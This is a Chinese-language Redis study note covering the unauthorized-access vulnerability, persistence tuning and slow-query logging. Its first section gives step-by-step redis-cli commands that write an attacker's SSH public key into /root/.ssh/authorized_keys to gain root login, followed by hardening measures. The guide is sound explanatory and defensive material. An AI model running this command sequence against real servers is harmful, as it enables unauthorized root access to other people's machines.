一、Redis 未授权访问漏洞
1. 漏洞原理
Redis 默认绑定0.0.0.0:6379,监听所有网卡;没设置密码 ,任何人可直接连接 Redis;攻击者利用config set动态修改配置、修改 RDB 保存路径与文件名,把 ssh 公钥写入/root/.ssh/authorized_keys,实现 ssh 免密登录服务器。
漏洞三核心成因
- Redis 未设置访问密码
- 可使用
config set动态修改配置- Redis 使用 root 账号启动,有写入 root 家目录权限
2. 漏洞利用步骤
-
攻击者本地生成 ssh 公私钥:
ssh-keygen -t rsa -
将公钥存入 foo.txt 文件
-
连接目标 Redis,把公钥 set 存入 Redis 的 key
cat foo.txt | redis-cli -h 目标IP -x set crackit
redis-cli -h 目标IP修改RDB保存目录到root的ssh目录
config set dir /root/.ssh/
修改RDB文件名为ssh信任公钥文件
config set dbfilename "authorized_keys"
执行save,触发RDB持久化,写入磁盘
save
-
攻击者使用私钥直接 ssh 登录目标机器
3. 安全加固方案
- 设置 Redis 访问密码(requirepass)
- 重命名高危命令:
keys / flushall / flushdb / config set,用rename-command禁用 / 改名 - 修改 bind 绑定:绑定内网网卡,禁止
0.0.0.0暴露公网 - 防火墙限制 IP 访问,只允许内网服务器 IP 访问 6379 端口
- 禁止 root 用户启动 Redis,使用普通业务账号
- 修改默认 6379 端口,降低被扫描概率
二、Redis 持久化配置优化
持久化带来磁盘 IO 开销,不是所有场景都要开启
✅ 持久化建议
- 纯缓存场景:尽量关闭持久化,宕机数据可从数据库重新加载
- 数据保存场景:关闭 RDB,优先使用 AOF
- 备份策略:在 slave 从节点定时执行 RDB 做数据备份,不影响主节点性能
- AOF 优化:设置合理 rewrite 阈值,避免频繁
bgrewriteaof no-appendfsync-on-rewrite = yes:AOF 重写期间不执行 fsync,防止磁盘阻塞
✅ 部署硬件建议
- 服务器预留足够内存,应对 fork 和 AOF rewrite 的内存开销
- 单个 Redis 实例内存不要过大(推荐 4G/8G):加快 fork 速度,降低主从同步、集群迁移压力
- 不和 CPU 密集型应用部署同一台机器
- 不和高磁盘 IO 服务(MySQL、MQ)混部
AOF 流程简要:主线程写 AOF 缓冲区 → 同步线程刷盘;判断距离上次 fsync 时间,超过 2 秒会阻塞主线程。
三、Redis 慢查询
1. 定义
慢查询:Redis 服务端执行耗时超过阈值的命令
⚠️注意:统计的时间只统计服务端执行命令时间,不含网络传输时间。
2. 核心配置
表格
| 配置项 | 含义 | 单位 | 默认 | 推荐值 |
|---|---|---|---|---|
| slowlog-log-slower-than | 慢查询阈值 | 微秒 | 10000(10ms) | 1000(1ms) |
| slowlog-max-len | 慢查询日志队列最大长度 | - | 128 | 1000 |
修改命令:
config set slowlog-log-slower-than 1000
config set slowlog-max-len 1000
3. 慢查询日志操作命令
slowlog len:查看慢日志总条数slowlog get [n]:读取 n 条慢查询记录slowlog reset:清空慢查询队列
4. slowlog 返回字段解读
- 日志编号 ID
- 日志记录的时间戳
- 命令执行耗时(微秒)
- 执行的 Redis 命令 + 参数
- 客户端 IP: 端口
- 客户端名称